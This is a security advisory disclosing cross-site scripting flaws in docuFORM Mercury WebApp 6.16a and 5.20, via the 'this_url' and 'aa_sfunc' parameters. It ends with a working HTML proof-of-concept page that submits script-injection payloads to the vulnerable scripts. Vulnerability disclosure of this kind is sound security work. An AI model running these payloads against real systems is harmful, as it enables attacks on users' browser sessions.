docuFORM Mercury WebApp 6.16a/5.20 - Multiple XSS Vulnerabilities



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docuFORM Mercury WebApp 6.16a/5.20 Multiple Cross-Site Scripting Vulnerabilities





Vendor: docuFORM GmbH

Product web page: http://www.docuform.de

Affected version: 6.16a and 5.20



Summary: Unlimited options for production printing and customer solutions.



Desc: The Mercury Web Application suffers from multiple XSS vulnerabilities when

parsing user input thru the GET parameter 'this_url' and the POST parameter 'aa_sfunc'

in f_state.php, f_list.php, f_job.php and f_header.php scripts. Attackers can exploit

these weaknesses to execute arbitrary HTML and script code in a user's browser session.



Tested on: Mercury HTTP and Database Server 6.16



Vulnerability discovered by Gjoko 'LiquidWorm' Krstic





Advisory ID: ZSL-2011-5010

Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2011-5010.php





14.04.2011





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<html><title>docuFORM Mercury WebApp 6.16a Multiple Cross-Site Scripting Vulnerabilities</title>

<body bgcolor="#1C1C1C">

<script type="text/javascript">

function xss1(){document.forms["xss1"].submit();}

function xss2(){document.forms["xss2"].submit();}

</script><br /><br />

<form action="http://192.168.16.100:8181/Mercury/f_state.php" enctype="application/x-www-form-urlencoded" method="POST" id="xss1">

<input type="hidden" name="aa_afunc" value="call" />

<input type="hidden" name="aa_sfunc" value="1<script>alert(1)</script>" />

<input type="hidden" name="aa_cfunc" value="OnAgentGetDeviceList" />

<input type="hidden" name="aa_sfunc_args%5B%5D" value="0" /></form>

<form action="http://192.168.16.100:8181/Mercury/f_state.php" enctype="application/x-www-form-urlencoded" method="GET" id="xss2">

<input type="hidden" name="ajaxagent" value="js" />

<input type="hidden" name="this_url" value="1--><script>alert(2)</script>" /></form>

<a href="javascript:xss1();" style="text-decoration:none">

<b><font color="red"><center><h3>'aa_sfunc' param</h3></center></font></b></a><br />

<a href="javascript:xss2();" style="text-decoration:none">

<b><font color="red"><center><h3>'this_url' param</h3></center></font></b></a><br />

</body></html>